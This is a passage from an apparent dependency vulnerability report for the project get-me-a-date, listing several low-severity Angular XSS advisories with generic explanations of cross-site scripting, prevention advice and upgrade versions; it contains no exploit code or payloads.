    Remediation: Upgrade to @angular/compiler@19.2.18.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of SVG <script> element attributes href and xlink:href when user-controlled data is bound to these attributes. An attacker can execute arbitrary JavaScript code in the victim's browser by supplying a crafted payload through untrusted data sources that are bound to these attributes.

##Workaround

This vulnerability can be mitigated by avoiding dynamic template bindings for SVG <script> elements and strictly validating input against a trusted allowlist before it reaches the template.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.18, 20.3.16, 21.0.7, 21.1.0-rc.0 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/compiler
  • Introduced through: @angular/compiler@11.2.3

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/compiler@11.2.3
    Remediation: Upgrade to @angular/compiler@19.2.20.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of internationalized attribute bindings. An attacker can execute arbitrary scripts in the context of the application by injecting malicious input into attributes such as href, src, or similar, when these are marked for internationalization and bound to unsanitized user data.

Note: This is only exploitable if unsanitized user input is bound to a security-sensitive attribute that is also marked with an i18n-<attribute> directive on the same element.

Workaround

This vulnerability can be mitigated by explicitly sanitizing the input using Angular's DomSanitizer.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.20, 20.3.18, 21.2.4, 22.0.0-next.3 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/core@4.4.4
    Remediation: Upgrade to @angular/core@19.2.18.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of SVG <script> element attributes href and xlink:href when user-controlled data is bound to these attributes. An attacker can execute arbitrary JavaScript code in the victim's browser by supplying a crafted payload through untrusted data sources that are bound to these attributes.

##Workaround

This vulnerability can be mitigated by avoiding dynamic template bindings for SVG <script> elements and strictly validating input against a trusted allowlist before it reaches the template.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 19.2.18, 20.3.16, 21.0.7, 21.1.0-rc.0 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/core@4.4.4
    Remediation: Upgrade to @angular/core@19.2.20.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of internationalized attribute bindings. An attacker can execute arbitrary scripts in the context of the application by injecting malicious input into attributes such as href, src, or similar, when these are marked for internationalization and bound to unsanitized user data.

Note: This is only exploitable if unsanitized user input is bound to a security-sensitive attribute that is also marked with an i18n-<attribute> directive on the same element.

Workaround

This vulnerability can be mitigated by explicitly sanitizing the input using Angular's DomSanitizer.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 19.2.20, 20.3.18, 21.2.3, 22.0.0-next.2 or higher.

References